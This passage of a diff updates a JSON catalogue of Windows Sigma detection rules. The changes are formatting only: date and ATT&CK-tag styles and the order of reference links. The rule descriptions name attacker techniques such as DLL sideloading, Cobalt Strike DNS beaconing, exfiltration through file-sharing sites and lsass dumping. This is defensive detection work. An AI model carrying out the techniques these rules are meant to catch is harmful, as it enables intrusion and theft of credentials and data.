Bencherchali (Nextron Systems)", - "creation_date": "2023/01/16", + "creation_date": "2023-01-16", "falsepositive": [ "Legitimate usage of the applications from the Windows Store" ], @@ -67409,7 +67515,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appmodel_runtime/win_appmodel_runtime_sysinternals_tools_appx_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -67420,7 +67526,7 @@ "description": "Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.", "meta": { "author": "mdecrevoisier", - "creation_date": "2022/10/25", + "creation_date": "2022-10-25", "falsepositive": [ "Legitimate administrator activity" ], @@ -67429,15 +67535,15 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", - "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", + "https://winaero.com/enable-openssh-server-windows-10/", "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", + "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", + "https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://winaero.com/enable-openssh-server-windows-10/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.004" ] }, @@ -67457,7 +67563,7 @@ "description": "Detect standard users login that are part of high privileged groups such as the Administrator group", "meta": { "author": "frack113", - "creation_date": "2023/01/13", + "creation_date": "2023-01-13", "falsepositive": [ "Standard domain users who are part of the administrator group. These users shouldn't have these right. But in the case where it's necessary. They should be filtered out using the \"TargetUserName\" field" ], @@ -67466,14 +67572,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWProvidersManifests/Windows11/22H2/W11_22H2_Pro_20221220_22621.963/WEPExplorer/LsaSrv.xml", "https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection", + "https://github.com/nasbench/EVTX-ETW-Resources/blob/7a806a148b3d9d381193d4a80356016e6e8b1ee8/ETWProvidersManifests/Windows11/22H2/W11_22H2_Pro_20221220_22621.963/WEPExplorer/LsaSrv.xml", "https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/lsa_server/win_lsa_server_normal_user_admin.yml" ], "tags": [ - "attack.credential_access", - "attack.privilege_escalation" + "attack.credential-access", + "attack.privilege-escalation" ] }, "uuid": "7ac407cc-0f48-4328-aede-de1d2e6fef41", @@ -67483,7 +67589,7 @@ "description": "Detects when an application acquires a certificate private key", "meta": { "author": "Zach Mathis", - "creation_date": "2023/05/13", + "creation_date": "2023-05-13", "falsepositive": [ "Legitimate application requesting certificate exports will trigger this. Apply additional filters as needed" ], @@ -67496,7 +67602,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/capi2/win_capi2_acquire_certificate_private_key.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1649" ] }, @@ -67516,7 +67622,7 @@ "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/16", + "creation_date": "2023-01-16", "falsepositive": [ "Unknown" ], @@ -67530,7 +67636,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client__mal_cobaltstrike.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.004" ] }, @@ -67550,7 +67656,7 @@ "description": "Detects DNS resolution of an .onion address related to Tor routing networks", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/02/20", + "creation_date": "2022-02-20", "falsepositive": [ "Unlikely" ], @@ -67563,7 +67669,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_client/win_dns_client_tor_onion.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090.003" ] }, @@ -67583,7 +67689,7 @@ "description": "Detects DNS queries for subdomains related to MEGA sharing website", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/16", + "creation_date": "2023-01-16", "falsepositive": [ "Legitimate DNS queries and usage of Mega" ], @@ -67616,7 +67722,7 @@ "description": "Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/16", + "creation_date": "2023-01-16", "falsepositive": [ "Rare legitimate access to anonfiles.com" ], @@ -67649,7 +67755,7 @@ "description": "Detects DNS queries to \"ufile.io\", which was seen abused by malware and threat actors as a method for data exfiltration", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/16", + "creation_date": "2023-01-16", "falsepositive": [ "DNS queries for \"ufile\" are not malicious by nature necessarily. Investigate the source to determine the necessary actions to take" ], @@ -67682,7 +67788,7 @@ "description": "Detects suspicious application installed by looking at the added shortcut to the app resolver cache", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/14", + "creation_date": "2022-08-14", "falsepositive": [ "Packages or applications being legitimately used by users or administrators" ], @@ -67705,7 +67811,7 @@ "description": "Detects an appx package deployment that was blocked by AppLocker policy", "meta": { "author": "frack113", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Unknown" ], @@ -67719,7 +67825,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_applocker_block.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "6ae53108-c3a0-4bee-8f45-c7591a2c337f", @@ -67729,7 +67835,7 @@ "description": "Detects potential installation or installation attempts of known malicious appx packages", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Rare occasions where a malicious package uses the exact same name and version as a legtimate application" ], @@ -67738,13 +67844,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", - "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_mal_appx_names.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "09d3b48b-be17-47f5-bf4e-94e7e75d09ce", @@ -67754,7 +67860,7 @@ "description": "Detects an appx package deployment that was blocked by the local computer policy", "meta": { "author": "frack113", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Unknown" ], @@ -67768,7 +67874,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_policy_block.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "e021bbb5-407f-41f5-9dc9-1864c45a7a51", @@ -67778,7 +67884,7 @@ "description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is located in uncommon locations", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Unknown" ], @@ -67787,14 +67893,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", - "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "Internal Research", + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_uncommon_package_locations.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "c977cb50-3dff-4a9f-b873-9290f56132f1", @@ -67804,7 +67910,7 @@ "description": "Detects an appx package installation with the error code \"0x80073cff\" which indicates that the package didn't meet the signing requirements and could be suspicious", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Legitimate AppX packages not signed by MS used part of an enterprise" ], @@ -67813,14 +67919,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", - "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "Internal Research", + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_appx_package_installation.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "898d5fc9-fbc3-43de-93ad-38e97237c344", @@ -67830,7 +67936,7 @@ "description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is located in suspicious locations", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Unknown" ], @@ -67839,14 +67945,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", - "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "Internal Research", + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_package_locations.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "5cdeaf3d-1489-477c-95ab-c318559fc051", @@ -67856,7 +67962,7 @@ "description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is downloaded from a suspicious domain", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Unknown" ], @@ -67865,14 +67971,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", - "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "Internal Research", + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_domains.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "8b48ad89-10d8-4382-a546-50588c410f0d", @@ -67882,7 +67988,7 @@ "description": "Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser.\nAn attacker can use this to authenticate to Azure AD in a browser as that user.\n", "meta": { "author": "Den Iuzvyk", - "creation_date": "2020/07/15", + "creation_date": "2020-07-15", "falsepositive": [ "False positives are expected since this rules is only looking for the DLL load event. This rule is better used in correlation with related activity" ], @@ -67895,8 +68001,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_azure_microsoft_account_token_provider_dll_load.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.002" ] }, @@ -67916,7 +68022,7 @@ "description": "Detects potential DLL sideloading of \"CCleanerDU.dll\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/07/13", + "creation_date": "2023-07-13", "falsepositive": [ "False positives could occur from other custom installation paths. Apply additional filters accordingly." ], @@ -67929,9 +68035,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ccleaner_du.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -67959,7 +68065,7 @@ "description": "Detects DSParse DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", - "creation_date": "2020/02/19", + "creation_date": "2020-02-19", "falsepositive": [ "Unknown" ], @@ -67992,7 +68098,7 @@ "description": "Detects SILENTTRINITY stager dll loading activity", "meta": { "author": "Aleksey Potapov, oscd.community", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Unlikely" ], @@ -68005,7 +68111,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_hktl_silenttrinity_stager.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071" ] }, @@ -68025,7 +68131,7 @@ "description": "Detects potential DLL sideloading of \"iviewers.dll\" (OLE/COM Object Interface Viewer)", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/03/21", + "creation_date": "2023-03-21", "falsepositive": [ "Unknown" ], @@ -68038,8 +68144,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_iviewers.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68067,7 +68173,7 @@ "description": "Detects potential DLL sideloading of \"appverifUI.dll\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/20", + "creation_date": "2023-06-20", "falsepositive": [ "Unlikely" ], @@ -68076,12 +68182,12 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://fatrodzianko.com/2020/02/15/dll-side-loading-appverif-exe/", + "https://web.archive.org/web/20220519091349/https://fatrodzianko.com/2020/02/15/dll-side-loading-appverif-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_appverifui.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68109,7 +68215,7 @@ "description": "Detects processes loading the non-existent DLL \"ShellChromeAPI\". One known example is the \"DeviceEnroller\" binary in combination with the \"PhoneDeepLink\" flag tries to load this DLL.\nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/01", + "creation_date": "2022-12-01", "falsepositive": [ "Unknown" ], @@ -68118,14 +68224,14 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://mobile.twitter.com/0gtweet/status/1564131230941122561", "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html", + "https://mobile.twitter.com/0gtweet/status/1564131230941122561", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_shell_chrome_api.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68153,7 +68259,7 @@ "description": "Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.).", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/14", + "creation_date": "2022-08-14", "falsepositive": [ "Legitimate applications loading their own versions of the DLLs mentioned in this rule" ], @@ -68162,17 +68268,17 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", - "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", "https://hijacklibs.net/", + "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", "https://www.hexacorn.com/blog/2023/12/26/1-little-known-secret-of-runonce-exe-32-bit/", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68200,7 +68306,7 @@ "description": "Detects the image load of vss_ps.dll by uncommon executables", "meta": { "author": "Markus Neis, @markus_neis", - "creation_date": "2021/07/07", + "creation_date": "2021-07-07", "falsepositive": [ "Unknown" ], @@ -68214,7 +68320,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vss_ps_susp_load.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.impact", "attack.t1490" ] @@ -68235,7 +68341,7 @@ "description": "Detects potential DLL sideloading of \"EACore.dll\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/08/03", + "creation_date": "2023-08-03", "falsepositive": [ "Unlikely" ], @@ -68248,8 +68354,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_eacore.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68277,7 +68383,7 @@ "description": "Detects potential DLL sideloading of \"edputil.dll\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/09", + "creation_date": "2023-06-09", "falsepositive": [ "Unlikely" ], @@ -68290,8 +68396,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_edputil.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68319,7 +68425,7 @@ "description": "Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/02", + "creation_date": "2022-08-02", "falsepositive": [ "Unlikely" ], @@ -68332,7 +68438,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmware_xfer.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -68352,7 +68458,7 @@ "description": "Detects PowerShell core DLL being loaded by an Office Product", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/01", + "creation_date": "2023-06-01", "falsepositive": [ "Unknown" ], @@ -68365,7 +68471,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_powershell_dll_load.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "bb2ba6fb-95d4-4a25-89fc-30bb736c021a", @@ -68375,7 +68481,7 @@ "description": "Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the \"sdiageng.dll\" library", "meta": { "author": "Greg (rule)", - "creation_date": "2022/06/17", + "creation_date": "2022-06-17", "falsepositive": [ "Unknown" ], @@ -68388,9 +68494,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_sdiageng_load_by_msdt.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202", - "cve.2022.30190" + "cve.2022-30190" ] }, "related": [ @@ -68409,7 +68515,7 @@ "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", "meta": { "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate usage by software developers/testers" ], @@ -68418,14 +68524,14 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", "https://twitter.com/oulusoyum/status/1191329746069655553", + "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", "https://twitter.com/mattifestation/status/1196390321783025666", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_tttracer_module_load.yml" ], "tags": [ - "attack.defense_evasion", - "attack.credential_access", + "attack.defense-evasion", + "attack.credential-access", "attack.t1218", "attack.t1003.001" ] @@ -68453,7 +68559,7 @@ "description": "Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)", - "creation_date": "2022/08/17", + "creation_date": "2022-08-17", "falsepositive": [ "Unlikely" ], @@ -68466,9 +68572,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68496,7 +68602,7 @@ "description": "Detects potential DLL sideloading of \"7za.dll\"", "meta": { "author": "X__Junior", - "creation_date": "2023/06/09", + "creation_date": "2023-06-09", "falsepositive": [ "Legitimate third party application located in \"AppData\" may leverage this DLL to offer 7z compression functionality and may generate false positives. Apply additional filters as needed." ], @@ -68509,9 +68615,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_7za.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68539,7 +68645,7 @@ "description": "Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/17", + "creation_date": "2020-10-17", "falsepositive": [ "The command wmic os get lastboottuptime loads vbscript.dll", "The command wmic os get locale loads vbscript.dll", @@ -68556,7 +68662,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1220" ] }, @@ -68576,7 +68682,7 @@ "description": "Detects potential DLL sideloading of \"vivaldi_elf.dll\"", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/08/03", + "creation_date": "2023-08-03", "falsepositive": [ "Unknown" ], @@ -68589,8 +68695,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vivaldi_elf.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68618,7 +68724,7 @@ "description": "Detects Kerberos DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", - "creation_date": "2020/02/19", + "creation_date": "2020-02-19", "falsepositive": [ "Unknown" ], @@ -68651,7 +68757,7 @@ "description": "Detects DLL sideloading of system DLLs that are not present on the system by default (at least not in system directories).\nUsually this technique is used to achieve UAC bypass or privilege escalation.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), SBousseaden", - "creation_date": "2022/12/09", + "creation_date": "2022-12-09", "falsepositive": [ "Unknown" ], @@ -68660,18 +68766,18 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ + "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", + "http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html", "https://decoded.avast.io/martinchlumecky/png-steganography/", "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/", "https://github.com/Wh04m1001/SysmonEoP", - "http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html", - "https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_non_existent_dlls.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.001", "attack.t1574.002" ] @@ -68699,7 +68805,7 @@ "description": "Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process.\nThis library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows.\nIt could also be used for anti-analysis purposes by shut downing specific processes.\n", "meta": { "author": "Luc Génaux", - "creation_date": "2023/11/28", + "creation_date": "2023-11-28", "falsepositive": [ "Other legitimate Windows processes not currently listed", "Processes related to software installation" @@ -68709,15 +68815,15 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/windows-restart-manager-part-1/", - "https://www.swascan.com/cactus-ransomware-malware-analysis/", - "https://www.crowdstrike.com/blog/windows-restart-manager-part-2/", "https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-which-consumes-a-lot-of-processor-resources-to-wipe-Windows-computer-data--iThome.html", + "https://web.archive.org/web/20231221193106/https://www.swascan.com/cactus-ransomware-malware-analysis/", + "https://www.crowdstrike.com/blog/windows-restart-manager-part-2/", + "https://www.crowdstrike.com/blog/windows-restart-manager-part-1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_rstrtmgr_uncommon_load.yml" ], "tags": [ "attack.impact", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1486", "attack.t1562.001" ] @@ -68745,7 +68851,7 @@ "description": "Detects any GAC DLL being loaded by an Office Product", "meta": { "author": "Antonlovesdnb", - "creation_date": "2020/02/19", + "creation_date": "2020-02-19", "falsepositive": [ "Legitimate macro usage. Add the appropriate filter according to your environment" ], @@ -68778,7 +68884,7 @@ "description": "Detects when a system process (i.e. located in system32, syswow64, etc.) loads a DLL from a suspicious location or a location with permissive permissions such as \"C:\\Users\\Public\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/17", + "creation_date": "2022-07-17", "falsepositive": [ "Unknown" ], @@ -68791,7 +68897,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_dll_load_system_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070" ] }, @@ -68811,7 +68917,7 @@ "description": "Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.", "meta": { "author": "omkar72, oscd.community", - "creation_date": "2020/10/14", + "creation_date": "2020-10-14", "falsepositive": [ "Unknown" ], @@ -68822,13 +68928,13 @@ "refs": [ "https://thewover.github.io/Introducing-Donut/", "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008", - "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", "https://github.com/tyranid/DotNetToJScript", + "https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml" ], "tags": [ "attack.execution", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1055" ] }, @@ -68848,7 +68954,7 @@ "description": "Detects potential DLL sideloading of \"SmadHook.dll\", a DLL used by SmadAV antivirus", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/06/01", + "creation_date": "2023-06-01", "falsepositive": [ "Unlikely" ], @@ -68857,13 +68963,13 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://www.qurium.org/alerts/targeted-malware-against-crph/", "https://research.checkpoint.com/2023/malware-spotlight-camaro-dragons-tinynote-backdoor/", + "https://www.qurium.org/alerts/targeted-malware-against-crph/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_smadhook.yml" ], "tags": [ - "attack.defense_evasion", - 